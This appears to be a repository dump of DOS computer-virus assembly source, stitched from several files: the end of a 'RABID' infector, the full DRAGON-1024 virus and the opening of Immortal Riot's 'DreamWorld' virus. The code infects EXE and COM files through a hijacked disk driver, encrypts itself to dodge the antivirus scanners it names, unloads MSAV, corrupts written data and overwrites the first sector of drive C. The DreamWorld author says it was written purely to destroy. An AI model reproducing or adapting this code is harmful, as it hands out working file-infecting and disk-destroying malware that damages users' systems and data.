mov ah,3Eh
int 21h
and cx,1Fh
cmp cx,1Fh
jne bad_infect
mov dx,offset infect_3
print
jmp short get_char
bad_infect: mov dx,offset infect_4
print
jmp short get_char
bad_file: mov dx,offset infect_5
print
get_char: call get_key
ret_infect: jmp main_menu
kill_cntr: mov ah,19h
int 21h
add al,"A"
mov byte ptr [offset nasty],al
mov dx,offset nasty
mov ax,4301h
xor cx,cx
int 21h ; NULS ATTRIBUTES
mov ah,41h
int 21h ; Deletes Counter File
ret
done: cls
int 20h
nasty db "A:\",0FFh,0FFh,0FFh,".",0FFh,0FFh,0
badfile db "Bad File...$"
loader db "LOADER.COM",0
file_in db 60
chars db 0
file_name db 60 dup(0)
msg db "RABID, INTERNATIONAL - Keeping the Dream Alive. (YOUR NAME HERE!)"
code_done equ $
code ends
end start
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,559 @@
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º MicroVirus Corp. ºÛÛ
; º Author: anti ºÛÛ
; º VIRUS FAMILY: Dragon ºÛÛ
; º VERSION: 1.0 ºÛÛ
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼÛÛ
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º Name: DARGON-1024 ³ Target: EXE, COM ºÛÛ
; º Rating: Dangerous ³ Stealth: Yes ºÛÛ
; º Tsr: Yes ³ Phantom: Yes ºÛÛ
; º Arming: Yes ³ Danger(6): 4 ºÛÛ
; º Attac Speed: Very Fast ³ Clock: No ºÛÛ
; º Text Strings: Yes ³ Echo: Yes ºÛÛ
; ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶÛÛ
; º Find Next Target: SCANING ROOT DIRECTORY ºÛÛ
; º Other viruses: none ºÛÛ
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼÛÛ
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
code segment para 'code'
assume cs:code,ds:code
org 100h
dragon proc
mov di,offset Begin ; §è¨ä஢ª  ¢¨àãá 
mov cx,1010
mov ax,00h ;Š«îç ¤«ï à áè¨ä஢ª¨ (¬¥­ï¥âáï)
Decode: xor word ptr [di],ax
inc di
loop Decode
Begin: mov ah,30h ;‡ ¯à è¨¢ ¥¬ ¢¥àá¨î
int 21h ;DOS
cmp al,04h ;DOS 4.x+ : SI = 0
sbb si,si ;DOS 2/3 : SI = -1
mov ah,52h ;‡ ¯à è¨¢ ¥¬  ¤¤à¥á DOS List of
int 21h ;List ¢ ॣ¨áâàë ES:BX
lds bx,es:[bx] ;DS:BX 㪠§ë¢ ¥â ­  ¯¥à¢ë© DPB
;( Drive Parametr Block)
search: mov ax,[bx+si+15h] ;‡ ¯à®á ᥣ¬¥­â  ¤à ©¢¥à 
cmp ax,70h ;â® ¤à ©¢¥à ¤¨áª ?
jne next ;…᫨ ­¥â ¢§ïâì á«¥¤ãî騩 ¤à ©¢.
xchg ax,cx ;®¬¥áâ¨âì ᥣ¬¥­â ¢ CX
mov [bx+si+18h],byte ptr -1
mov di,[bx+si+13h] ;‘®å࠭塞 ᬥ饭¨¥ ¤à ©¢¥à 
;€¤à¥á ®à¨£¥­ «ì­®£® ¤à ©¢¥à 
;¢ CX:DI
mov [bx+si+13h],offset header ;‡ ¯¨á âì ¢ DPB ­ è ᮡá⢥­­.
mov [bx+si+15h],cs ;§ £®«®¢®ª ãáâனá⢠
next: lds bx,[bx+si+19h] ;‚§ïâì á«¥¤ãî騩 ¤à ©¢¥à
cmp bx,-1 ;â® ¯®á«¥¤­¨© ¤à ©¢¥à?
jne search ;᫨ ­¥â ¯à®¢¥à¨âì ¥£®
mov ds,cx ;DS : ᥣ¬¥­â ®à¨£¥­ «ì­®£®
;¤à ©¢¥à 
les ax,[di+6] ;ES : ¯à®æ¥¤ãà  ¯à¥à뢠­¨ï
;AX : ¯à®æ¥¤ãà  áâà â¥£¨¨
mov word ptr cs:Strat,ax ;‡ ¯®¬­¨âì í⨠¤¢   ¤à¥á 
mov word ptr cs:Intr,es ;¤«ï ¤®«­¥©è¥£® ¨á¯®«ì§®¢ ­¨ï
push cs
pop es
mov bx,128 ;Žá¢®¡®¤¨âì ¢áî ¯ ¬ïâì ªà®¬¥
mov ah,4ah ;2048 ¡ ©â
int 21h
mov ax,cs ;AX :  ¤à¥á ­ è¥£® MCB
dec ax
mov es,ax
mov word ptr es:[01h],08h ;Œ áª¨à㥬áï ¯®¤ DOS
push cs
pop ds
mov byte ptr Drive+1,-1 ;‘¡à á뢠¥¬ ­®¬¥à ¤¨áª 
mov dx,offset File ;‡ à ¦ ¥¬ ⥪ã騩 ª â®«®£
mov ah,3dh ;¤¨áª  C:
int 21h
mov bx,ds:[2ch] ;Žá¢®¡®¦¤ ¥¬ ¯ ¬ïâì § ­ïâãî
mov es,bx ;PSP
mov ah,49h
int 21h
xor ax,ax
test bx,bx ;BX = 0?
jz boot ;…᫨ ¤ , â® ¬ë § à §¨«¨ ¯ ¬ïâì
mov di,1 ;¨ ­¥ § ­ãá⨫¨ § à ¦¥­­ë© ä ©«
seek: dec di ;®¨áª ª®­æ  ¡«®ª  ¤ ­­ëå DOS
scasw
jne seek
lea dx,[di+2] ;SI 㪠§ë¢ ¥â ­  ¨¬ï § à ¦¥­®£®
push es ;ä ©« 
jmp short exec
boot: mov es,ds:[16h] ;®«ãç¨âì  ¤à¥á PSP
mov bx,es:[16h]
dec bx ;‚§ïâì ¥£® MCB
xor dx,dx
push es
exec: push bx ;“áâ ­®¢¨âì ¡«®ª ¯ à ¬¥â஢
mov bx,offset param ; ¤à¥á ª®¬¬ ­¤­®© áâப¨
mov [bx+4],cs ;€¤à¥á ¯¥à¢®£® FCB
mov [bx+8],cs ;€¤à¥á ¢â®à®£® FCB
mov [bx+12],cs
pop ds
mov ax,4b00h ;‡ ¯ãáâ¨âì § à ¦¥­­ë© ä ©«
int 21h
mov ah,4ch ;‚ë©â¨ ¢ DOS
int 21h
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
;Û *** Device Driver's Strategy Block *** Û
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
Strategy: pushf
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
pop ds
mov ah,[bx+2] ;AH : ª®¬ ­¤  DOS
cmp ah,04h ;‚¢®¤ ( ç¥â¥­¨¥)?
je Work ;…᫨ ­¥â - ¯à®¤®«¦¨âì ¯à®¢¥àªã
cmp ah,08h ;‚뢮¤ ( § ¯¨áì)?
je Work ;…᫨ ­¥â - ¯à®¤®«¦¨âì ¯à®¢¥àªã
cmp ah,09h ;‚뢮¤ á ª®­â஫¥¬?
je Work ;…᫨ ­¥â ¢ë©â¨
jmp FuckOut
Work: call OrigDrive ;Ž¡à ¡®âì ª®¬ ­¤ã DOS
call CheckDrive ;â® ­®¢ë© ¤¨áª?
je CheckData ;„  - § à §¨âì ¥£®
call InfectDisk
CheckData: mov ax,[bx+14h] ;‡ ¯à®á ­  ç¥â¥­¨¥ á¨á⥬­®©
FirstSector: cmp ax,10h ;®¡¤ áâì ¤¨áª ?
jb FuckOut ;„  - ¢ë©â¨
LastSector: cmp ax,21h
ja FuckFile
call ChangeSector ;‡ à §¨âì ᥪâ®à ª â®«®£ 
jmp Exit ;‚ë©â¨
FuckFile: mov ah,es:[bx+2] ;AH : ª®¬ ­¤  DOS
cmp ah,08h ;‚뢮¤ (ç¥â¥­¨¥)?
je GoAhead ;஢¥à¨âì ¤ ­­ë¥
cmp ah,09h ;‚뢮¤ á ª®­â஫¥¬?
jne FuckOut ;¥â ¢ë©â¨
GoAhead: mov ax,es:[bx+14h] ;—¥â¥­¨¥ á¨á⥬­®© ®¡« áâ¨
cmp ax,word ptr cs:LastSector+1 ;¤¨áª ?
jb FuckOut ;„  - ¢ë©â¨
inc cs:RecNum ;“¢¥«¨ç¨âì ­®¬¥à § ¯¨á¨
cmp cs:RecNum,64h ;â® 100 § ¯¨áì?
jne FuckOut ;¥â ¢ë©â¨
mov cs:RecNum,00h ;Ž¡­ã«¨âì ç¨á«® § ¯¨á¥©
call DestroyFile ; §àãè¨âì § ¯¨á뢠¥¬ë¥ ¤ ­­ë¥
FuckOut: call OrigDrive ;‚ë§¢ âì ®à¨£¥­ «ì­ë© ¤à ©¢¥à
Exit: pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
Inter: retf ;‚ë©â¨
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
;Û *** Infect Disk *** Û
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
InfectDisk proc near
cld ;‡ ¯®¬­¨âì § £®«®¢®ª § ¯à®á 
mov cx,0bh ;¢ á⥪¥
mov si,bx
Save: lodsw
push ax
loop Save
mov word ptr [bx+0eh],offset VirusEnd ;“áâ ­®¢¨âì ᢮©
mov word ptr [bx+10h],cs ;¡ãää¥à ¤«ï ç¥â¥­¨ï á ¤¨áª 
mov byte ptr [bx+2],02h ;‡ ¯à è¨¢ ¥¬ BPB
call OrigDrive ;( BIOS Parametr Block)
lds si,[bx+12h] ;DS:SI :  ¤à¥á BPB
mov ax,[si+11] ;AX : ç¨á«® ᥪâ®à®¢ FAT
mov word ptr cs:FatSec1+3,ax
push ax
dec ax
mov cx,[si] ;CX :  §¬¥à ᥪâ®à  ¢ ¡ ©â å
mul cx ;AX : à §¬¥à FAT ¢ ¡ ©â å
mov word ptr cs:FatSecSize+2,ax
pop ax
shl ax,01h
add ax,[si+3] ;AX : ‘¥ªâ®à ª â «®£ 
mov word ptr cs:FirstSector+1,ax
push ax
xor dx,dx
mov ax,[si]
mov word ptr cs:Bytes+1,ax
mov cx,20h
div cx
mov cx,ax
mov ax,[si+6] ;AX : à §¬¥à ª â «®£ 
div cx
pop di
add di,ax ;DI : ¥à¢ë© ᥪâ®à ®¡« áâ¨
mov word ptr cs:LastSector+1,di ;¤ ­­ëå
mov ax,[si+8] ;AX : ®¡é¥¥ ç¨á«® ᥪâ®à®¢
push ax
xor cx,cx
mov cl,[si+2] ;CX : ç¨á«® ᥪâ®à®¢ ¢ ª« áâ¥à¥
mov word ptr cs:Cluster+1,cx
sub ax,cx ;“¬¥­ìè¨âì ç¨á«® ᥪâ®à®¢ ­ 
mov word ptr cs:StartSector+3,ax ;à §¬¥à ®¤­®£® ª« áâ¥à 
pop ax
sub ax,di
xor dx,dx
div cx
inc ax
push es
pop ds
FatSec1: mov word ptr [bx+14h],01h ;—¨â ¥¬ ¯®á«¥¤­¨© ᥪâ®à FAT
mov word ptr [bx+12h],01h
mov byte ptr [bx+2],04h
call OrigDrive
lds si,[bx+0eh] ;DS:SI : 㪠§ë¢ ¥â ­  áç¨â ­­ë©
;ᥪâ®à
push bp
mov bp,ax ;BP : ç¨á«® ª« áâ¥à®¢
cmp ax,0ff6h ;â® 16 ¡¨â®¢ë© FAT?
jae Fat16Bit ;…᫨ ­¥â ¯à®¤®«¦¨âì
More12Bit: mov ax,bp ;Ž¯à¥¤¥«¥­¨¥ ᬥ饭¨ï ¤«ï
mov cx,03h ;¯®á«¥¤­¥£® ª« áâ¥à  ¤¨áª 
mul cx
shr ax,01h
mov di,ax ;DI :  ¤à¥á í«¥¬¥­â  FAT ¢
add di,si ;¡ãää¥à¥
FatSecSize: sub di,100h
mov ax,bp
test ax,01h ;â® ç¥â­ë© ­®¬¥à ª« áâ¥à ?Í»
mov ax,[di] ;AX : í«¥¬¥­â FAT º
jnz Chet ;…᫨ ­¥â ¯à®¤®«¦¨âì ͼ
and ax,0fffh ;Ž¡­ã«¨âì áâ à訥 4 ¡¨â 
jmp GoOn
Chet: mov cl,04h ;‘¤¢¨­ãâì ­  4 ¡¨â  ¢«¥¢®
shl ax,cl
jmp GoOn
GoOn: cmp ax,0ff7h ;â® ¯«®å®© ª« áâ¥à ( BAD)
je Bad12Bit ;…᫨ ­¥â ¯à®¤®«¦¨âì
test bp,01h ;â® ç¥â­ë© ª« áâ¥à
jnz ChetCluster ;¥â - ¯à®¤®«¦¨âì
or ax,0fffh ;®¬¥â¨âì ª« áâ¥à ª ª ¯®á«¥¤­¨©
mov [di],ax ;¢ 楯®çª¥ ( EOF)
jmp Contin
ChetCluster: mov dx,0fffh
mov cl,04h
shl dx,cl
or ax,dx ;®¬¥â¨âì ª« áâ¥à ª ª ¯®á«¥¤­¨©
mov [di],ax ;¢ 楯®çª¥ ( EOF)
jmp Contin
Rest: jmp Fuck
More16Bit: mov ax,bp
Fat16Bit: mov di,ax
add di,si
sub di,word ptr cs:FatSecSize+2
mov ax,[di] ;AX : 16 ¡¨â®¢ë© í«¥¬¥­â FAT
cmp ax,0fff7h ;â® ¯«®å®© ª« áâ¥à?
je Bad16Bit ;¥â - ¯à®¤®«¦¨âì
mov ax,0ffffh ;®¬¥â¨âì ¥£® ª ª ¯®á«¥¤­¨© ¢
mov [di],ax ;楯®çª¥ ª« áâ¥à®¢ ( EOF)
jmp Contin
Bad16Bit: call bad ;‚§ïâì ¯à¥¤ë¤ã騩 ª« áâ¥à
jmp More16Bit ;஢¥à¨âì ¥£®
Bad12Bit: call bad ;‚§ïâì ¯à¥¤ë¤ã騩 ª« áâ¥à
jmp More12Bit ;஢¥à¨âì ¥£®
Contin: mov word ptr cs:Location+1,bp
pop bp ;‡ ¯¨á âì ¨§¬¥­¥­ë© FAT ­  ¤¨áª
push es
pop ds
call Write
push es
push cs
push cs
pop ds
pop es
mov si,100h ;‘®§¤ âì ª®¯¨î ¢¨àãá 
mov di,offset VirusEnd
mov cx,1024
rep movsb
Again: mov ax,40h ;‚§ïâì á«ãç ©­®¥ ç¨á«®
mov es,ax
mov di,6ch
mov ax,word ptr es:[di]
cmp ax,00h ;—¨á«® à ¢­® ­ã«î
je Again ;„  ¢§ïâì ¤à㣮¥ ç¨á«®
mov word ptr cs:VirusEnd+7,ax ;‘®åà ­¨âì ª«îç ¤«ï
mov word ptr cs:Key+1,ax ;à áè¨ä஢ª¨
mov di,offset VirusEnd ;‡ è¨ä஢ âì ¢¨àãá
add di,14
mov cx,1010
Key: mov ax,00h ;Š«îç ¤«ï è¨ä஢ª¨ ( ¬¥­ï¥âáï)
Coding: xor word ptr [di],ax
inc di
loop Coding
pop es
push es
pop ds
mov word ptr [bx+0eh],offset VirusEnd
mov word ptr [bx+10h],cs ;‡ ¯¨á âì § è¨ä஢ ­­ãî ª®¯¨î
StartSector: mov word ptr [bx+14h],14h ;¢¨àãá  ­  ¤¨áª
mov word ptr [bx+12h],02h
call Write
Fuck: push es ;‚®ááâ ­®¢¨âì § £®«®¢®ª § ¯à®á 
pop ds
std
mov cx,0bh
mov di,bx
add di,20
Load: pop ax
stosw
loop Load
ret ;‚ë©â¨
InfectDisk endp
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
;Û *** Infect or Disinfect Directory *** Û
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
ChangeSector proc near
xor dx,dx
mov ax,[bx+12h] ;Š®«¨ç¥á⢮ ᥪâ®à®¢
Bytes: mov cx,10h ;CX : à §¬¥à ᥪâ®à  ( ¬¥­ï¥âáï)
mul cx
mov di,ax ;DI : à §¬¥à ¢ ¡ ©â å
lds si,[bx+0eh] ;DS:SI :  ¤à¥á ¡ãää¥à  á ¤ ­­ë¬¨
add di,si ;DS:DI :  ¤à¥á ª®­æ  ¡ãää¥à 
xor cx,cx ;ਧ­ ª § à ¦¥­¨ï
push ds ;‘®åà ­¨âì  ¤à¥á ¡ãää¥à 
push si
call InfectSector ;‡ à §¨âì ª â «®£
jcxz NoInfect ;Œë ¨§¬¥­¨«¨ ª â «®£?
call Write ;„  - § ¯¨á âì ­  ¤¨áª
NoInfect: pop si ;‚®ááâ ­®¢¨âì  ¤à¥á ¡ãää¥à 
pop ds
inc cl ;ਧ­ ª ¢ëªãá뢠­¨ï ¢¨àãá 
;¨§ § à ¦¥­­ëå ä ©«®¢
call InfectSector ;‚ë«¥ç¨âì ª â «®£
ret ;‚ë©â¨
ChangeSector endp
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
;Û *** Infect or Disinfect Files *** Û
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
InfectSector proc near
More: mov ax,[si+8] ;AX : ¯¥à¢ë¥ ¤¢¥ ¡ãª¢ë à áè¨à¥­¨ï
cmp ax,'XE' ;â® EXE- ä ©«?
jne COM ;¥â ¯à®¢¥à¨âì ¤ «ìè¥
cmp [si+0ah],al
je Infect
COM: cmp ax,'OC' ;â® COM- ä ©«?
jne NextFile ;¥â - ¢§ïâì á«¥¤ãî騩 ä ©«
cmp byte ptr [si+0ah],'M'
jne NextFile
Infect: cmp word ptr [si+28],1024 ;” ©« ¬¥­ìè¥ 1024 ¡ ©â ?
jb NextFile ;„  - ¢§ïâì á«¥¤ãî騩 ä ©«
test byte ptr [si+0bh],1ch ;â® ¤¨à¥ªâ®à¨ï ¨«¨ á¨á⥬­ë©
;ä ©«
jnz NextFile ;„  - ¢§ïâì á«¥¤ãî騩 ä ©«
test cl,cl ;‡ à ¦¥­¨¥?
jnz Disinfect ;„  - § à §¨âì ä ©«
Location: mov ax,714 ;AX : ª« áâ¥à ᮤ¥à¦ é¨© ¢¨àãá
;( ¬¥­ï¥âáï)
cmp ax,[si+1ah] ;â® ä ©« § à ¦¥­?
je NextFile ;„  - ¢§ïâì á«¥¤ãî騩 ä ©«
xchg ax,[si+1ah] ;‡ à §¨âì ä ©«, AX : áâ à⮢ë©
xor ax,666h ;ª« áâ¥à ä ©« 
mov [si+12h],ax ;®¬¥áâ¨âì ¥£® ¢ ®¡« áâì DOS
inc ch ;ਧ­ ª ¨§¬¥­¥­¨ï ª â «®£ 
jmp NextFile ;‚§ïâì á«¥¤ãî騩 ä ©«
Disinfect: xor ax,ax
xchg ax,[si+12h] ;AX : áâ àë© áâ àâ®¢ë© ª« áâ¥à
xor ax,666h ;§ à ¦¥­­®£® ä ©« 
mov [si+1ah],ax ;‚ë«¥ç¨âì ä ©«
NextFile: add si,20h ;€¤à¥á á«¥¤ãî饣® ä ©« 
cmp di,si
jne More
ret
InfectSector endp
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
;Û *** Destroy Files *** Û
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
DestroyFile proc near
push es
push cs
pop ds
les di,es:[bx+0eh] ;ES:DI :  ¤à¥á § ¯¨á뢠¥¬ëå
;¤ ­­ëå
mov si,offset CopyRight ;DS:SI :  ¤à¥á áâப¨ á ¨­ä®à¬ æ.
mov cx,120 ;CX : ¤«¨­  áâப¨
rep movsb ;“­¨ç⮦¨âì ¤ ­­ë¥
pop es
ret ;‚ë©â¨
DestroyFile endp
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
;Û *** Write to Disk *** Û
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
Write proc near
mov ah,es:[bx+2] ;‘®å࠭塞 ª®¬ ­¤ã DOS
mov byte ptr es:[bx+2],08h ;Š®¬ ­¤  ¢ë¢®¤ ( § ¯¨á¨)
call OrigDrive ;‚ë§¢ âì ®à¨£¨­ «ì­ë© ¤à ©¢¥à
;¤¨áª 
mov es:[bx+2],ah ;‚®ááâ ­®¢¨âì ª®¬ ­¤ã DOS
and byte ptr es:[bx+4],7fh ;‘¡à®á¨âì ä« £ ®è¨¡ª¨
ret
Write endp
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
;Û *** Check Disk *** Û
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
CheckDrive proc near
mov al,[bx+1] ;AL : ­®¬¥à ¤¨áª 
drive: cmp al,-1 ;„¨áª ᬥ­¨«áï?
mov byte ptr cs:[drive+1],al ;‡ ¯®¬­¨âì ­®¬¥à ¤¨áª ?
jne Change ;„  - ¢ë©â¨. ¥â ¯à®¢¥à¨âì ­¥
;ᬥ­¨«áï «¨ ä«®¯¯¨ ¤¨áª
push [bx+0eh]
mov byte ptr [bx+2],01h ;Š®¬ ­¤  Š®­âà®«ï ­®á¨â¥«ï
call OrigDrive ;‚ë§¢ âì ¤à ©¢¥à ¤¨áª 
cmp byte ptr [bx+0eh],01h ;„¨áª ᬥ­¨«áï?
pop [bx+0eh]
mov [bx+2],ah ;‚®ááâ ­®¢¨âì ª®¬ ­¤ã DOS
Change: ret
CheckDrive endp
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
;Û *** Get Next Cluster *** Û
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
Bad proc near
dec bp ;“¬¥­ìè¨âì ­®¬¥à ª« áâ¥à 
Cluster: mov ax,00h ;AX : ç¨á«® ᥪâ®à®¢ ¢ ª« áâ¥à¥
;( ¬¥­ï¥âáï)
sub word ptr cs:StartSector+3,ax
ret
Bad endp
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
;Û *** Call Original Device Drive *** Û
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
OrigDrive proc near
; jmp far 70h:xxxxh
db 9ah ;‚ë§¢ âì ¯à®æ¥¤ãàã ‘âà â¥£¨¨
Strat: dw ?,70h ;®à¨£¥­ «ì­®£® ¤à ©¢ªà  ¤¨áª 
; jmp far 70h:xxxxh
db 9ah ;‚ë§¢ âì ¯à®æ¥¤ãàã à¥à뢠­¨ï
Intr: dw ?,70h ;®à¨£¥­ «ì­®£® ¤à ©¢ªà  ¤¨áª 
ret
OrigDrive endp
dragon endp
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
;Û *** Data Area *** Û
;Û Begin Û
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
header: inc ax
ret
dw 1
dw 2000h ;€ââਡãâ ãáâனá⢠:
;«®ª®¢®¥, ä®à¬ â ­¥ IBM
dw offset Strategy ;€¤à¥á ¯®æ¥¤ãàë ‘âà â¥£¨¨
dw offset Inter ;€¤à¥á ¯à®æ¥¤ãàë à¥à뢠­¨ï
db 7fh ;—¨á«® ¡«®ª®¢ëå ãáâனáâ¢
file db 'c:\dragon.com',0
param dw 0,80h,?,5ch,?,6ch,? ; à ¬¥âàë ¤«ï § ¯ã᪠
;§ à ¦¥­­®£® ä ©« 
CopyRight db 'DRAGON ver 1.0 Copyright (c) MicroVirus Corp. 1993',0
Lords db 'The Lords of the Computers !',0,0
Lord db 'DRAGON - the Lord of Disks !',0,0
Author db 'anti'
RecNum db ? ;®¬¥à § ¯¨á¨
VirusEnd db ?
;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
;Û *** Data Area *** Û
;Û End Û
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
code ends
end dragon
+260
View File
@@ -0,0 +1,260 @@
; -DreamWorld?-
; "Created by Immortal Riot's destructive development team"
; (c) 93/94 Immortal Riot - All rights reserved
;
; Dedication:
; "If Metal Militia was dead, this virus should be deadicated to him"
;
; Notes:
; This was 'written' in one day. It sucks, but not as good as my..
; ahh.. now I remember, I don't got a girl-friend, but my "girl-friend"
; think she got a boy-friend? Huh? She's nuts!
;
; Notes_II:
; F-Prot, Scan, TBAV, FindViru can't find shits of this code.
;
; Disclaimer:
; Well, I just gotta have one, you know. So, I hereby claim this:
; "I take no responsability for any damage, either direct or implied,
; caused by the usage of the virus source code or of the resulting code
; after assembly. No warrant is made about the product functionability
; or quality. The code was written in pure educational purposes ONLY."
;
; Truth:
; Well, this was written only for malicious intends. I havn't learned
; a shit by writing this shit. Now you know that.. Well, I just had
; some hours spare time, and a huge appetite for destruction. That's why
; this virus was created. No more, no less. Ciao! /The Unforgiven
.model tiny ;
.code ;
org 100h ;
;
Start: ;
db 0e9h ; Jump to start1 and mark this file
DW 0 ; as virus-infected!
;
Start1: ;
xchg ax,ax ; It's simply two NOPs
nop ;
;
mov ax,0fa01h ; Let's un-install MSAV junk program
mov dx,5945h ; from memory for a cost of 8 bytes :)
int 16h ;
;
call get_delta ; Get the delta offset
get_delta: ;
pop bp ;
sub bp, offset get_delta ;
;
Call_en_de_crypt: ; Well, just using alternitive code
mov ax,bp ; for a "call en_de_crypt", for satisfying
add ax,011dh ; my very sick brain..
push ax ;
jmp short en_de_crypt ;
jmp short real_code_start ; Sneee!
;
crypt_val dw 0 ; We get a random value for each encryption!
;
Write_virus: ;
call en_de_crypt ; Encrypt virus before we write!
mov ah,65d ; 65d - 1d = 40HEX!
sub ah,1d ; ^^^ How meaningless!
mov cx, end_of_virus - start1 ; CX = bytes to write
lea dx, [bp+start1] ; ; DX = Where to write from (100h)
int 21h ; ; Duh!
;
call en_de_crypt ; Decrypt virus again
ret ;
;
En_de_crypt: ; Heuristic, Heuristic, eat this!
;
mov ax,word ptr [bp+crypt_val]
lea si,[bp+encrypt_start] ;
mov cx,(end_of_virus-start1+1)/2
;
Xor_loop: ;
xor word ptr [si],ax ; Encrypting two bytes/loop, until
add si,2 ; all the code between encryption_start
loop xor_loop ; to end_of_virus is encrypted!
ret ;
;
Encrypt_start: ; All code here and below is encrypted,
Real_code_start: ; making it hard for heuristic scanners!
;
mov ah,2ah ; First, we check for what date it is
int 21h ;
cmp dl,31 ; Is it the 31st any month?
jne not_now ; Nop!
;
Cruel: ;
mov ah,09h ; It's the 31st any month!
lea dx,[bp+v_name] ; or the 1/100 of a second = 1
int 21h ; we'll print a message!
;
mov al,2h ; and after that, we'll brutally
mov cx,1 ; overwrite the first-sector on
lea bx,v_name ; drive C: with our virus name!
cwd ;
int 26h ;
;
Not_now: ; It wasn't the 31:st, so,
mov ah,2ch ; we'll take a random number
int 21h ; from a 1/100 of a second and if
cmp dl,1 ; the value is 1, we'll trash the
je cruel ; boot-sector on drive C: and if
